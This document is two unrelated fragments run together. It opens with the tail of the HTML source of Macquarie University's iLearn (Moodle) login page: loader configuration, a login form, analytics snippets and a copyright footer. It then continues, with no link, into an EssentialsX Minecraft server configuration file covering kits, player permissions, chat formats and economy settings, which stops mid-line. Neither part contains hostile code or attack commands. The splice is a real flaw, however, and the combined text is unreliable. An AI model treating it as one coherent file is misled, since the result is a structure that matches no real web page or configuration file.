editor_atto-plugin"]},"moodle-atto_managefiles-usedfiles":{"requires":["node","escape"]},"moodle-atto_media-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_noautolink-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_orderedlist-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_rtl-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_strike-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_subscript-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_superscript-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_table-button":{"requires":["moodle-editor_atto-plugin","moodle-editor_atto-menu","event","event-valuechange"]},"moodle-atto_title-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_underline-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_undo-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_unorderedlist-button":{"requires":["moodle-editor_atto-plugin"]}}},"gallery":{"name":"gallery","base":"https:\/\/ilearn.mq.edu.au\/lib\/yuilib\/gallery\/","combine":true,"comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?","ext":false,"root":"gallery\/1487942275\/","patterns":{"gallery-":{"group":"gallery"}}}},"modules":{"core_filepicker":{"name":"core_filepicker","fullpath":"https:\/\/ilearn.mq.edu.au\/lib\/javascript.php\/1487942275\/repository\/filepicker.js","requires":["base","node","node-event-simulate","json","async-queue","io-base","io-upload-iframe","io-form","yui2-treeview","panel","cookie","datatable","datatable-sort","resize-plugin","dd-plugin","escape","moodle-core_filepicker"]},"core_comment":{"name":"core_comment","fullpath":"https:\/\/ilearn.mq.edu.au\/lib\/javascript.php\/1487942275\/comment\/comment.js","requires":["base","io-base","node","json","yui2-animation","overlay"]}}}; M.yui.loader = {modules: {}}; //]]> </script> <meta name="robots" content="noindex" /> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script> <![endif]--> <link rel="apple-touch-icon-precomposed" href="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/apple-touch-icon-144-precomposed" sizes="144x144"> <link rel="shortcut icon" href="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/favicon"> </head> <body id="page-login-index" class="format-site path-login gecko dir-ltr lang-en yui-skin-sam yui3-skin-sam ilearn-mq-edu-au pagelayout-login course-1 context-1 notloggedin content-only layout-option-noblocks layout-option-nocourseheaderfooter layout-option-nocustommenu layout-option-nofooter layout-option-nonavbar"> <div class="skiplinks"><a class="skip" href="#maincontent">Skip to main content</a></div> <script type="text/javascript" src="https://ilearn.mq.edu.au/theme/yui_combo.php?r1487942275&rollup/3.17.2/yui-moodlesimple-min.js&amp;rollup/1487942275/mcore-min.js"></script><script type="text/javascript" src="https://ilearn.mq.edu.au/theme/jquery.php/r1487942275/core/jquery-1.12.1.min.js"></script> <script type="text/javascript" src="https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/javascript-static.js"></script> <script type="text/javascript"> //<![CDATA[ document.body.className += ' jsenabled'; //]]> </script> <div id="nice_debug_area"></div> <header id="page-header"> <div class="container"> <div class="login-logos"> <div class="mq-logo"> <a class="login-logo" href="http://ilearn.mq.edu.au"><img alt="Macquarie University" src="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/login-logo"></a> </div><!-- /.mq-logo --> <div class="ilearn-logo"> <a class="login-logo-ilearn" href="http://ilearn.mq.edu.au"><img alt="iLearn" src="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/ilearn-logo"></a> </div><!-- /.ilearn-logo --> </div><!-- /.login-logos --> </div><!-- /.container --> </header><!-- #page-header --> <div id="page"> <div class="container" id="page-content"> <div class="login-wing login-wing-left"></div> <div class="login-wing login-wing-right"></div> <h1 class="login-h1">iLearn Login</h1> <span class="notifications" id="user-notifications"></span><div role="main"><span id="maincontent"></span><div class="loginbox clearfix twocolumns"> <div class="loginpanel"> <h2>Log in</h2> <div class="subcontent loginsub"> <form action="https://ilearn.mq.edu.au/login/index.php" method="post" id="login" > <div class="loginform"> <div class="form-label"><label for="username">Username</label></div> <div class="form-input"> <input type="text" name="username" id="username" size="15" tabindex="1" value="" /> </div> <div class="clearer"><!-- --></div> <div class="form-label"><label for="password">Password</label></div> <div class="form-input"> <input type="password" name="password" id="password" size="15" tabindex="2" value="" /> </div> </div> <div class="clearer"><!-- --></div> <div class="clearer"><!-- --></div> <input id="anchor" type="hidden" name="anchor" value="" /> <script>document.getElementById('anchor').value = location.hash</script> <input type="submit" id="loginbtn" value="Log in" /> <div class="forgetpass"><a href="forgot_password.php">Forgotten your username or password?</a></div> </form> <script type="text/javascript"> $(document).ready(function(){ var input = document.getElementById ("username"); input.focus(); }); </script> <div class="desc"> Cookies must be enabled in your browser<span class="helptooltip"><a href="https://ilearn.mq.edu.au/help.php?component=moodle&amp;identifier=cookiesenabled&amp;lang=en" title="Help with Cookies must be enabled in your browser" aria-haspopup="true" target="_blank"><img src="https://ilearn.mq.edu.au/theme/image.php/mqu/core/1487942275/help" alt="Help with Cookies must be enabled in your browser" class="iconhelp" /></a></span> </div> </div> </div> <div class="signuppanel"> <h2>Is this your first time here?</h2> <div class="subcontent"> </div> </div> <script> dataLayer = []; </script> <!-- Google Tag Manager --> <noscript><iframe src="//www.googletagmanager.com/ns.html?id=GTM-MQZTHB" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript> <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= '//www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-MQZTHB');</script> <!-- End Google Tag Manager --> </div> </div><!-- /.container #page-content --> </div><!-- /#page --> <footer id="page-footer"> <div class="container"> <ul class="page-footer-ul"> <li><a href="http://help.ilearn.mq.edu.au/" target="_blank">iLearn Help and FAQ</a></li> <li><a href="https://oneid.mq.edu.au/" target="_blank">Forgotten your password?</a></li> <li><a href="http://status.ilearn.mq.edu.au/" target="_blank">iLearn Status</a></li> </ul><!-- /.page-footer-ul --> <div class="login-footer-info"> <p>If you are having trouble accessing your online unit due to a disability or health condition, please go to the <a href="http://www.students.mq.edu.au/support/accessibility_services" target="_blank">Student Services Website</a> for information on how to get assistance</p> <p>All material available on iLearn belongs to Macquarie University or has been copied and communicated to Macquarie staff and students under statutory licences and educational exceptions under Australian copyright law. This material is provided for the educational purposes of Macquarie students and staff. It is illegal to copy and distribute this material beyond iLearn except in very limited circumstances and as provided by specific copyright exceptions.</p> </div><!-- /.login-footer-info --> <div class="login-footer-link"> <div class="bootstrap-row"> <div class="col-md-7"> <p>&copy; Copyright Macquarie University&nbsp;|&nbsp;<a href="http://www.mq.edu.au/privacy/privacy.html" target="_blank">Privacy</a>&nbsp;|&nbsp;<a href="http://www.mq.edu.au/accessibility.html" target="_blank">Accessibility Information</a></p> </div><!-- /.col-md-7 --> <div class="col-md-5"> <p>ABN 90 952 801 237 | CRICOS Provider 00002J</p> </div><!-- /.col-md-5 --> </div><!-- /.bootstrap-row --> </div><!-- /.login-footer-link --> </div><!-- /.container --> </footer><!-- /#page-footer --> <script type="text/javascript"> //<![CDATA[ var require = { baseUrl : 'https://ilearn.mq.edu.au/lib/requirejs.php/1487942275/', // We only support AMD modules with an explicit define() statement. enforceDefine: true, skipDataMain: true, waitSeconds : 0, paths: { jquery: 'https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/jquery/jquery-1.12.1.min', jqueryui: 'https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/jquery/ui-1.11.4/jquery-ui.min', jqueryprivate: 'https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/requirejs/jquery-private' }, // Custom jquery config map. map: { // '*' means all modules will get 'jqueryprivate' // for their 'jquery' dependency. '*': { jquery: 'jqueryprivate' }, // 'jquery-private' wants the real jQuery module // though. If this line was not here, there would // be an unresolvable cyclic dependency. jqueryprivate: { jquery: 'jquery' } } }; //]]> </script> <script type="text/javascript" src="https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/requirejs/require.min.js"></script> <script type="text/javascript"> //<![CDATA[ require(['core/first'], function() { ; require(["core/notification"], function(amd) { amd.init(1, [], false); });; require(["core/log"], function(amd) { amd.setConfig({"level":"warn"}); }); }); //]]> </script> <script type="text/javascript"> //<![CDATA[ M.yui.add_module({"mathjax":{"name":"mathjax","fullpath":"https:\/\/cdn.mathjax.org\/mathjax\/2.6-latest\/MathJax.js?delayStartupUntil=configured"}}); //]]> </script> <script type="text/javascript" src="https://ilearn.mq.edu.au/theme/javascript.php/mqu/1487942275/footer"></script> <script type="text/javascript"> //<![CDATA[ M.str = {"moodle":{"lastmodified":"Last modified","name":"Name","error":"Error","info":"Information","namedfiletoolarge":"The file '{$a->filename}' is too large and cannot be uploaded","yes":"Yes","no":"No","morehelp":"More help","loadinghelp":"Loading...","cancel":"Cancel","ok":"OK","confirm":"Confirm","areyousure":"Are you sure?","closebuttontitle":"Close","unknownerror":"Unknown error"},"repository":{"type":"Type","size":"Size","invalidjson":"Invalid JSON string","nofilesattached":"No files attached","filepicker":"File picker","logout":"Logout","nofilesavailable":"No files available","norepositoriesavailable":"Sorry, none of your current repositories can return files in the required format.","fileexistsdialogheader":"File exists","fileexistsdialog_editor":"A file with that name has already been attached to the text you are editing.","fileexistsdialog_filemanager":"A file with that name has already been attached","renameto":"Rename to \"{$a}\"","referencesexist":"There are {$a} alias\/shortcut files that use this file as their source","select":"Select"},"admin":{"confirmdeletecomments":"You are about to delete comments, are you sure?","confirmation":"Confirmation"},"block":{"addtodock":"Move this to the dock","undockitem":"Undock this item","dockblock":"Dock {$a} block","undockblock":"Undock {$a} block","undockall":"Undock all","hidedockpanel":"Hide the dock panel","hidepanel":"Hide panel"},"langconfig":{"thisdirectionvertical":"btt"}}; //]]> </script> <script type="text/javascript"> //<![CDATA[ (function() {M.util.load_flowplayer(); setTimeout("fix_column_widths()", 20); Y.use("moodle-core-dock-loader",function() {M.core.dock.loader.initLoader(); }); M.util.help_popups.setup(Y); Y.use("moodle-core-popuphelp",function() {M.core.init_popuphelp(); }); M.util.js_pending('random58b8dd8d3abcf2'); Y.on('domready', function() { M.util.move_debug_messages(Y); M.util.js_complete('random58b8dd8d3abcf2'); }); M.util.js_pending('random58b8dd8d3abcf3'); Y.on('domready', function() { M.util.netspot_perf_info(Y, "00000000:0423_00000000:0050_58B8DD8D_30F8F6D:3B0C", 1488510349.1968); M.util.js_complete('random58b8dd8d3abcf3'); }); M.util.init_skiplink(Y); Y.use("moodle-filter_glossary-autolinker",function() {M.filter_glossary.init_filter_autolinking({"courseid":0}); }); Y.use("moodle-filter_mathjaxloader-loader",function() {M.filter_mathjaxloader.configure({"mathjaxconfig":"\nMathJax.Hub.Config({\n config: [\"Accessible.js\", \"Safe.js\"],\n errorSettings: { message: [\"!\"] },\n skipStartupTypeset: true,\n messageStyle: \"none\",\n TeX: {\n extensions: [\"mhchem.js\",\"color.js\",\"AMSmath.js\",\"AMSsymbols.js\",\"noErrors.js\",\"noUndefined.js\"]\n }\n});\n ","lang":"en"}); }); M.util.js_pending('random58b8dd8d3abcf5'); Y.on('domready', function() { M.util.js_complete("init"); M.util.js_complete('random58b8dd8d3abcf5'); }); })(); //]]> </script> <script type="text/javascript">window.NREUM||(NREUM={});NREUM.info={"beacon":"bam.nr-data.net","licenseKey":"d6bb71fb66","applicationID":"3373525,3377726","transactionName":"YVMHYkVQWkIAUERQDFgZMEReHlheBlpeFgpYUgBOGUFcQQ==","queueTime":0,"applicationTime":48,"atts":"TRQEFA1KSUw=","errorBeacon":"bam.nr-data.net","agent":""}</script></body> </html>

############################################################ # +------------------------------------------------------+ # # | Notes | # # +------------------------------------------------------+ # ############################################################ # If you want to use special characters in this document, such as accented letters, you MUST save the file as UTF-8, not ANSI. # If you receive an error when Essentials loads, ensure that: # - No tabs are present: YAML only allows spaces # - Indents are correct: YAML hierarchy is based entirely on indentation # - You have "escaped" all apostrophes in your text: If you want to write "don't", for example, write "don''t" instead (note the doubled apostrophe) # - Text with symbols is enclosed in single or double quotation marks # If you have problems join the Essentials help support channel: http://tiny.cc/EssentialsChat ############################################################ # +------------------------------------------------------+ # # | Essentials (Global) | # # +------------------------------------------------------+ # ############################################################ # A color code between 0-9 or a-f. Set to 'none' to disable. ops-name-color: '4' # The character(s) to prefix all nicknames, so that you know they are not true usernames. nickname-prefix: '~' # The maximum length allowed in nicknames. The nickname prefix is included in this. max-nick-length: 15 # Disable this if you have any other plugin, that modifies the displayname of a user. change-displayname: true # When this option is enabled, the (tab) player list will be updated with the displayname. # The value of change-displayname (above) has to be true. #change-playerlist: true # When essentialschat.jar isn't used, force essentials to add the prefix and suffix from permission plugins to displayname. # This setting is ignored if essentialschat.jar is used, and defaults to 'true'. # The value of change-displayname (above) has to be true. # Do not edit this setting unless you know what you are doing! #add-prefix-suffix: false # If the teleport destination is unsafe, should players be teleported to the nearest safe location? # If this is set to true, Essentials will attempt to teleport players close to the intended destination. # If this is set to false, attempted teleports to unsafe locations will be cancelled with a warning. teleport-safety: true # The delay, in seconds, required between /home, /tp, etc. teleport-cooldown: 3 # The delay, in seconds, before a user actually teleports. If the user moves or gets attacked in this timeframe, the teleport never occurs. teleport-delay: 5 # The delay, in seconds, a player can't be attacked by other players after they have been teleported by a command. # This will also prevent the player attacking other players. teleport-invulnerability: 4 # The delay, in seconds, required between /heal or /feed attempts. heal-cooldown: 60 # What to prevent from /i /give. # e.g item-spawn-blacklist: 46,11,10 item-spawn-blacklist: # Set this to true if you want permission based item spawn rules. # Note: The blacklist above will be ignored then. # Example permissions (these go in your permissions manager): # - essentials.itemspawn.item-all # - essentials.itemspawn.item-[itemname] # - essentials.itemspawn.item-[itemid] # - essentials.give.item-all # - essentials.give.item-[itemname] # - essentials.give.item-[itemid] # - essentials.unlimited.item-all # - essentials.unlimited.item-[itemname] # - essentials.unlimited.item-[itemid] # - essentials.unlimited.item-bucket # Unlimited liquid placing # # For more information, visit http://wiki.ess3.net/wiki/Command_Reference/ICheat#Item.2FGive permission-based-item-spawn: false # Mob limit on the /spawnmob command per execution. spawnmob-limit: 1 # Shall we notify users when using /lightning? warn-on-smite: true # motd and rules are now configured in the files motd.txt and rules.txt. # When a command conflicts with another plugin, by default, Essentials will try to force the OTHER plugin to take priority. # Commands in this list, will tell Essentials to 'not give up' the command to other plugins. # In this state, which plugin 'wins' appears to be almost random. # # If you have two plugin with the same command and you wish to force Essentials to take over, you need an alias. # To force essentials to take 'god' alias 'god' to 'egod'. # See http://wiki.bukkit.org/Bukkit.yml#aliases for more information overridden-commands: # - god # - info # Disabling commands here will prevent Essentials handling the command, this will not affect command conflicts. # Commands should fallback to the vanilla versions if available. # You should not have to disable commands used in other plugins, they will automatically get priority. disabled-commands: # - nick # - clear - mail - mail.send - nuke - afk # These commands will be shown to players with socialSpy enabled. # You can add commands from other plugins you may want to track or # remove commands that are used for something you dont want to spy on. socialspy-commands: - msg - w - r - mail - m - t - whisper - emsg - tell - er - reply - ereply - email - action - describe - eme - eaction - edescribe - etell - ewhisper - pm # If you do not wish to use a permission system, you can define a list of 'player perms' below. # This list has no effect if you are using a supported permissions system. # If you are using an unsupported permissions system, simply delete this section. # Whitelist the commands and permissions you wish to give players by default (everything else is op only). # These are the permissions without the "essentials." part. player-commands: - afk - afk.auto - back - back.ondeath - balance - balance.others - balancetop - build - chat.color - chat.format - chat.shout - chat.question - clearinventory - compass - depth - delhome - getpos - geoip.show - help - helpop - home - home.others - ignore - info - itemdb - kit - kits.tools - list - mail - mail.send - me - motd - msg - msg.color - nick - near - pay - ping - protect - r - rules - realname - seen - sell - sethome - setxmpp - signs.create.protection - signs.create.trade - signs.break.protection - signs.break.trade - signs.use.balance - signs.use.buy - signs.use.disposal - signs.use.enchant - signs.use.free - signs.use.gamemode - signs.use.heal - signs.use.info - signs.use.kit - signs.use.mail - signs.use.protection - signs.use.repair - signs.use.sell - signs.use.time - signs.use.trade - signs.use.warp - signs.use.weather - spawn - suicide - time - tpa - tpaccept - tpahere - tpdeny - warp - warp.list - world - worth - xmpp # Note: All items MUST be followed by a quantity! # All kit names should be lower case, and will be treated as lower in permissions/costs. # Syntax: - itemID[:DataValue/Durability] Amount [Enchantment:Level].. [itemmeta:value]... # For Item meta information visit http://wiki.ess3.net/wiki/Item_Meta # 'delay' refers to the cooldown between how often you can use each kit, measured in seconds. # For more information, visit http://wiki.ess3.net/wiki/Kits kits: Goblin: delay: 3600 items: - 272 1 sharpness:2 unbreaking:1 looting:1 name:&8[&2Goblin&8]&fSword - 306 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fHelmet - 307 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fChestplate - 308 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fLeggings - 309 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fBoots - 256 1 efficiency:1 unbreaking:1 name:&8[&2Goblin&8]&fShovel - 257 1 efficiency:1 unbreaking:1 fortune:1 name:&8[&2Goblin&8]&fPickaxe - 258 1 efficiency:1 unbreaking:1 name:&8[&2Goblin&8]&fAxe - 364 16 Griefer: delay: 14400 items: - 276 1 sharpness:3 unbreaking:3 name:&8[&d&lGriefer&8]&fSword - 322:1 1 - 310 1 protection:2 name:&8[&d&lGriefer&8]&fHelmet - 311 1 protection:2 name:&8[&d&lGriefer&8]&fChestplate - 312 1 protection:2 name:&8[&d&lGriefer&8]&fLeggings - 313 1 protection:2 name:&8[&d&lGriefer&8]&fBoots Villager: delay: 43200 items: - 267 1 sharpness:4 name:&8[&eVillager&8]&fSword - 306 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fHelmet - 307 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fChestplate - 308 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fLeggings - 309 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fBoots - 388 10 - 383:120 2 Knight: delay: 43200 items: - 276 1 sharpness:3 name:&8[&cKnight&8]&fSword - 310 1 protection:2 name:&8[&cKnight&8]&fHelmet - 311 1 protection:2 name:&8[&cKnight&8]&fChestplate - 312 1 protection:2 name:&8[&cKnight&8]&fLeggings - 313 1 protection:2 name:&8[&cKnight&8]&fBoots - 388 20 - 383:120 4 King: delay: 43200 items: - 276 1 sharpness:4 fire:1 name:&8[&5King&8]&fSword - 310 1 protection:4 name:&8[&5King&8]&fHelmet - 311 1 protection:4 name:&8[&5King&8]&fChestplate - 312 1 protection:4 name:&8[&5King&8]&fLeggings - 313 1 protection:4 name:&8[&5King&8]&fBoots - 388 30 - 383:120 6 Hero: delay: 43200 items: - 276 1 sharpness:4 fire:2 name:&8[&aHero&8]&fSword - 310 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fHelmet - 311 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fChestplate - 312 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fLeggings - 313 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fBoots - 388 40 - 383:120 8 God: delay: 43200 items: - 276 1 sharpness:5 fire:2 name:&8[&4God&8]&fSword - 310 1 protection:4 unbreaking:3 name:&8[&4God&8]&fHelmet - 311 1 protection:4 unbreaking:3 name:&8[&4God&8]&fChestplate - 312 1 protection:4 unbreaking:3 name:&8[&4God&8]&fLeggings - 313 1 protection:4 unbreaking:3 name:&8[&4God&8]&fBoots - 388 50 - 383:120 10 - 322:1 5 Legend: delay: 43200 items: - 276 1 sharpness:5 fire:2 unbreaking:3 name:&8[&6&lLegend&8]&fSword - 310 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fHelmet - 311 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fChestplate - 312 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fLeggings - 313 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fBoots - 388 60 - 383:120 12 - 322:1 10 - 383:50 5 - 261 1 flame:1 power:5 punch:2 unbreaking:3 infinity:1 name:&8[&6&lLegend&8]&fBow - 262 1 - 279 1 sharpness:5 unbreaking:3 name:&8[&6&lLegend&8]&fAxe Youtube: delay: 43200 items: - 276 1 sharpness:5 fire:2 unbreaking:3 name:&8[&f&lYou&c&lTube&8]&fSword - 310 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fHelmet - 311 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fChestplate - 312 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fLeggings - 313 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fBoots - 388 60 - 383:120 12 - 322:1 10 - 383:50 5 - 261 1 flame:1 power:5 punch:2 unbreaking:3 infinity:1 name:&8[&f&lYou&c&lTube&8]&fBow - 262 1 - 279 1 sharpness:5 unbreaking:3 name:&8[&f&lYou&c&lTube&8]&fAxe Join: delay: 3600 items: - 17 16 - 333 1 - 49 32 - 50 16 - 4 64 - 373:8258 1 - 320 16 Reset: delay: 31536000 items: - 272 1 sharpness:4 unbreaking:3 name:&8[&cR&ee&as&be&dt&8]&fSword - 298 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fHelmet - 299 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fChestplate - 300 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fLeggings - 301 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fBoots - 354 1 name:&f&l Cake &4Vote # Essentials Sign Control # See http://wiki.ess3.net/wiki/Sign_Tutorial for instructions on how to use these. # To enable signs, remove # symbol. To disable all signs, comment/remove each sign. # Essentials Colored sign support will be enabled when any sign types are enabled. # Color is not an actual sign, it's for enabling using color codes on signs, when the correct permissions are given. enabledSigns: - color - balance - buy - sell #- trade #- free #- disposal #- warp #- kit #- mail #- enchant #- gamemode #- heal #- info #- spawnmob #- repair #- time #- weather # How many times per second can Essentials signs be interacted with per player. # Values should be between 1-20, 20 being virtually no lag protection. # Lower numbers will reduce the possibility of lag, but may annoy players. sign-use-per-second: 4 # Backup runs a batch/bash command while saving is disabled. backup: # Interval in minutes. interval: 30 # Unless you add a valid backup command or script here, this feature will be useless. # Use 'save-all' to simply force regular world saving without backup. #command: 'rdiff-backup World1 backups/World1' # Set this true to enable permission per warp. per-warp-permission: false # Sort output of /list command by groups. # You can hide and merge the groups displayed in /list by defining the desired behaviour here. # Detailed instructions and examples can be found on the wiki: http://wiki.ess3.net/wiki/List list: # To merge groups, list the groups you wish to merge #Staff: owner admin moderator Admins: owner admin # To limit groups, set a max user limit #builder: 20 # To hide groups, set the group as hidden #default: hidden # Uncomment the line below to simply list all players with no grouping #Players: '*' # More output to the console. debug: false # Set the locale for all messages. # If you don't set this, the default locale of the server will be used. # For example, to set language to English, set locale to en, to use the file "messages_en.properties". # Don't forget to remove the # in front of the line. # For more information, visit http://wiki.ess3.net/wiki/Locale #locale: en # Turn off god mode when people exit. remove-god-on-disconnect: false # Auto-AFK # After this timeout in seconds, the user will be set as afk. # This feature requires the player to have essentials.afk.auto node. # Set to -1 for no timeout. auto-afk: 300 # Auto-AFK Kick # After this timeout in seconds, the user will be kicked from the server. # essentials.afk.kickexempt node overrides this feature. # Set to -1 for no timeout. auto-afk-kick: -1 # Set this to true, if you want to freeze the player, if he is afk. # Other players or monsters can't push him out of afk mode then. # This will also enable temporary god mode for the afk player. # The player has to use the command /afk to leave the afk mode. freeze-afk-players: false # When the player is afk, should he be able to pickup items? # Enable this, when you don't want people idling in mob traps. disable-item-pickup-while-afk: false # This setting controls if a player is marked as active on interaction. # When this setting is false, you will need to manually un-AFK using the /afk command. cancel-afk-on-interact: true # Should we automatically remove afk status when the player moves? # Player will be removed from AFK on chat/command regardless of this setting. # Disable this to reduce server lag. cancel-afk-on-move: true # You can disable the death messages of Minecraft here. death-messages: false # Should operators be able to join and part silently. # You can control this with permissions if it is enabled. allow-silent-join-quit: true # You can set a custom join message here, set to "none" to disable. # You may use color codes, use {USERNAME} the player's name or {PLAYER} for the player's displayname. custom-join-message: "" # You can set a custom quit message here, set to "none" to disable. # You may use color codes, use {USERNAME} the player's name or {PLAYER} for the player's displayname. custom-quit-message: "" # Add worlds to this list, if you want to automatically disable god mode there. no-god-in-worlds: # - world_nether # Set to true to enable per-world permissions for teleporting between worlds with essentials commands. # This applies to /world, /back, /tp[a|o][here|all], but not warps. # Give someone permission to teleport to a world with essentials.worlds.<worldname> # This does not affect the /home command, there is a separate toggle below for this. world-teleport-permissions: false # The number of items given if the quantity parameter is left out in /item or /give. # If this number is below 1, the maximum stack size size is given. If over-sized stacks. # are not enabled, any number higher than the maximum stack size results in more than one stack. default-stack-size: -1 # Over-sized stacks are stacks that ignore the normal max stack size. # They can be obtained using /give and /item, if the player has essentials.oversizedstacks permission. # How many items should be in an over-sized stack? oversized-stacksize: 64 # Allow repair of enchanted weapons and armor. # If you set this to false, you can still allow it for certain players using the permission. # essentials.repair.enchanted repair-enchanted: true # Allow 'unsafe' enchantments in kits and item spawning. # Warning: Mixing and overleveling some enchantments can cause issues with clients, servers and plugins. unsafe-enchantments: false #Do you want essentials to keep track of previous location for /back in the teleport listener? #If you set this to true any plugin that uses teleport will have the previous location registered. register-back-in-listener: false #Delay to wait before people can cause attack damage after logging in. login-attack-delay: 5 #Set the max fly speed, values range from 0.1 to 1.0 max-fly-speed: 0.8 #Set the max walk speed, values range from 0.1 to 1.0 max-walk-speed: 0.8 #Set the maximum amount of mail that can be sent within a minute. mails-per-minute: 1000 # Set the maximum time /tempban can be used for in seconds. # Set to -1 to disable, and essentials.tempban.unlimited can be used to override. max-tempban-time: -1 ############################################################ # +------------------------------------------------------+ # # | EssentialsHome | # # +------------------------------------------------------+ # ############################################################ # Allows people to set their bed at daytime. update-bed-at-daytime: true # Set to true to enable per-world permissions for using homes to teleport between worlds. # This applies to the /home only. # Give someone permission to teleport to a world with essentials.worlds.<worldname> world-home-permissions: false # Allow players to have multiple homes. # Players need essentials.sethome.multiple before they can have more than 1 home. # You can set the default number of multiple homes using the 'default' rank below. # To remove the home limit entirely, give people 'essentials.sethome.multiple.unlimited'. # To grant different home amounts to different people, you need to define a 'home-rank' below. # Create the 'home-rank' below, and give the matching permission: essentials.sethome.multiple.<home-rank> # For more information, visit http://wiki.ess3.net/wiki/Multihome sethome-multiple: Goblin: 1 Villager: 2 Knight: 3 King: 4 Hero: 5 God: 6 # In this example someone with 'essentials.sethome.multiple' and 'essentials.sethome.multiple.vip' will have 5 homes. # Set timeout in seconds for players to accept tpa before request is cancelled. # Set to 0 for no timeout. tpa-accept-cancellation: 120 ############################################################ # +------------------------------------------------------+ # # | EssentialsEco | # # +------------------------------------------------------+ # ############################################################ # For more information, visit http://wiki.ess3.net/wiki/Essentials_Economy # Defines the balance with which new players begin. Defaults to 0. starting-balance: 1000 # worth-# defines the value of an item when it is sold to the server via /sell. # These are now defined in worth.yml # Defines the cost to use the given commands PER USE. # Some commands like /repair have sub-costs, check the wiki for more information. command-costs: # /example costs $1000 PER USE #example: 1000 # /kit tools costs $1500 PER USE #kit-tools: 1500 # Set this to a currency symbol you want to use. currency-symbol: '$' # Set the maximum amount of money a player can have. # The amount is always limited to 10 trillion because of the limitations of a java double. max-money: 10000000000000 # Set the minimum amount of money a player can have (must be above the negative of max-money). # Setting this to 0, will disable overdrafts/loans completely. Users need 'essentials.eco.loan' perm to go below 0. min-money: -10000 # Enable this to log all interactions with trade/buy/sell signs and sell command. economy-log-enabled: false ############################################################ # +------------------------------------------------------+ # # | EssentialsHelp | # # +------------------------------------------------------+ # ############################################################ # Show other plugins commands in help. non-ess-in-help: true # Hide plugins which do not give a permission. # You can override a true value here for a single plugin by adding a permission to a user/group. # The individual permission is: essentials.help.<plugin>, anyone with essentials.* or '*' will see all help regardless. # You can use negative permissions to remove access to just a single plugins help if the following is enabled. hide-permissionless-help: true ############################################################ # +------------------------------------------------------+ # # | EssentialsChat | # # +------------------------------------------------------+ # ############################################################ chat: # If EssentialsChat is installed, this will define how far a player's voice travels, in blocks. Set to 0 to make all chat global. # Note that users with the "essentials.chat.spy" permission will hear everything, regardless of this setting. # Users with essentials.chat.shout can override this by prefixing text with an exclamation mark (!) # Users with essentials.chat.question can override this by prefixing text with a question mark (?) # You can add command costs for shout/question by adding chat-shout and chat-question to the command costs section." radius: 0 # Chat formatting can be done in two ways, you can either define a standard format for all chat. # Or you can give a group specific chat format, to give some extra variation. # If set to the default chat format which "should" be compatible with ichat. # For more information of chat formatting, check out the wiki: http://wiki.ess3.net/wiki/Chat_Formatting format: '<{DISPLAYNAME}> {MESSAGE}' #format: '&7[{GROUP}]&r {DISPLAYNAME}&7:&r {MESSAGE}' group-formats: Goblin: '&7{DISPLAYNAME}&8:&f&o {MESSAGE}' Youtuber: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Witch: '&7{DISPLAYNAME}&8:&f&o {MESSAGE}' Wizard: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Sorcerer: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Raider: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Greifer: '&7{DISPLAYNAME}&8:&a {MESSAGE}' ChatMod: '&7{DISPLAYNAME}&8:&f 